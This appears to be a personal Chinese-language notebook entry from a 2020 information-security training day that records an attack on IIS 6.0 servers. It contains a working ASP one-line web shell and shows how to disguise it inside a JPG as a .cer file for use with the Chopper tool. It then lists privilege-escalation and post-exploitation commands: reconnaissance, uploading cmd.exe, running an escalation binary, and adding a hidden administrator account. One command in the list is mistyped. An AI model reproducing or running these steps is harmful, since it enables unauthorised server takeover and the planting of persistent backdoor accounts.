20200710信息安全实训

笔记本:	我的第一个笔记本		
创建时间:	2020/7/10 8:24	**更新时间:**	2020/7/10 16:28
作者:	820410740@qq.com		
URL:	app://desktop.dingtalk.com/web_content/chatbox.html?isFourColumnMode=false		

一句话木马 + IIS6.0 + 菜刀
txt <%eval request("caidao")%>
copy 1.jpg/b+1.txt/a a.cer
菜刀打入

状态码

提权
Interactive
Network
等

net user
ipconfig /all
arp -a
netstat -ano

上传cmd.exe
whoami
iis8.exe "whoami"

Whoami 查看我是谁
Net user wang 123 /add 添加用户
Net user wang 查看用户信息
Net user localgroup Administartors wang /add 添加到管理员用户组

最大连接问题:
Ipconfig 查看IP端口
Iis6.exe “query user /server:ip” 查看进行远程用户
Iis6.exe “logoff id /server：ip” 注销